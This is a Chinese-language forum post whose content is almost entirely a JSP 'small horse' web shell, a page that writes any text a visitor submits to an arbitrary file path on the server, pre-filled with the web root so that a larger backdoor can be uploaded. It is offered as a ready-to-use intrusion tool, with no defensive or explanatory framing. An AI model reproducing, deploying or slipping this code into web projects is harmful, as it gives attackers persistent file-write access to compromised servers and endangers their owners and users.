    
- 帖子
- 3852
- 积分
- 13044
- 威望
- 16780
- 金钱
- 36761
- 在线时间
- 1139 小时
         
|
- <%@ page language="java" pageEncoding="gbk"%>
- <jsp:directive.page import="java.io.File"/>
- <jsp:directive.page import="java.io.OutputStream"/>
- <jsp:directive.page import="java.io.FileOutputStream"/>
- <html>
- <head>
- <title>小马</title>
- <meta http-equiv="keywords" content="小马">
- <meta http-equiv="description" content="小马">
- </head>
- <%
- int i=0;
- String method=request.getParameter("act");
- if(method!=null&&method.equals("up")){
- String url=request.getParameter("url");
- String text=request.getParameter("text");
- File f=new File(url);
- if(f.exists()){
- f.delete();
- }
- try{
- OutputStream o=new FileOutputStream(f);
- o.write(text.getBytes());
- o.close();
- }catch(Exception e){
- i++;
- %>
- 上传不成功
- <%
- }
- }
- if(i==0){
- %>
- 上传成功
- <%
- }
- %>
- <body>
- <form action='?act=up' method='post'>
- <input size="100" value="<%=application.getRealPath("/") %>" name="url"><br>
- <textarea rows="20" cols="80" name="text">这写马的代码</textarea><br>
- <input type="submit" value="up" name="text"/>
- </form>
- </body>
- </html>
复制代码 |
|